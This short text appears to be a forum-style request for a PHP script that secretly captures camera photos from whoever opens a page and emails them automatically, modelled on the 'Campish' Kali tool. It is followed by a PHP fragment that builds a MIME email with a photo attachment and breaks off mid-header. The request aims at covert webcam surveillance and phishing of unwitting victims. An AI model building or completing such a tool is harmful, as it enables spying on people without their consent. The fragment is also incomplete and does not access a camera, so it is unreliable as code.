PHP script that can access camera when the code or script open someone immediately send photos into email as automatically also add PHP function like Campish kali Linux
<?php $to = "recipient@example.com"; $subject = "New photo"; $boundary = md5(date('r', time())); $headers = "From: webmaster@example.com\r\nReply-To: webmaster@example.com"; $headers .= "\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"_1_$boundary\""; $message = "This is a multi-part message in MIME format. --_1_$boundary Content-Type: multipart/alternative; boundary=\"_2_$boundary\" --_2_$boundary Content-Type: text/plain; charset=\"iso-8859-1\" Content-Transfer-Encoding: 7bit This is a test --_2_$boundary-- --_1_$boundary Content-Type: image/jpeg; name=\"photo.jpg\" Content-Transfer-Encoding: